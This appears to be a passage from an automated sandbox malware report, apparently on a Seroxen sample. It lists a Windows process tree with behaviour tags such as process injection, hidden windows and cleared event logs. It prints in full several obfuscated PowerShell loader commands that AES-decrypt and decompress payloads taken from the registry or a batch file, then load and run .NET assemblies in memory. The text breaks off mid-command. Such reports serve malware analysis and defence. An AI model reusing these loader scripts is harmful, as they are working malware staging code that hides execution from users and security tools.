      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3168
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{e6d23945-1aac-40fc-8343-6399bdcfaaef}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2916
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3168).WaitForExit();[System.Threading.Thread]::Sleep(5000); function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4108
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{2badb970-0ee3-4b27-a94d-a01e540c4995}
        5⤵
        
        PID:4860
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f076ceda-59a0-4b89-b6f7-0bb03581a885}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{329780d6-c194-4c0a-80de-24e0e2477612}
        5⤵
        
        PID:6128
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{e3a5a8f2-ba1f-442f-a027-b0df8d9017e5}
        5⤵
        
        PID:4420
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{41c108b2-7ae1-4ca1-b47b-dca1fcf112fc}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3936
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{9708dcbf-e875-44b8-a5d4-03771b9fcda6}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5708
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f2b2f4c5-7a98-48e6-8b8b-acd2b7293109}
        5⤵
        
        PID:376
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 376 -s 456
        6⤵
        Drops file in Windows directory
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3460
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{1519bb58-08e6-4e31-8d8b-b982de74ff3b}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2020
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{a5590f11-ab6f-40ee-977a-240faad25fba}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1448
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1232

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3040

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3384

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3248
- - C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe
    "Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; }}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 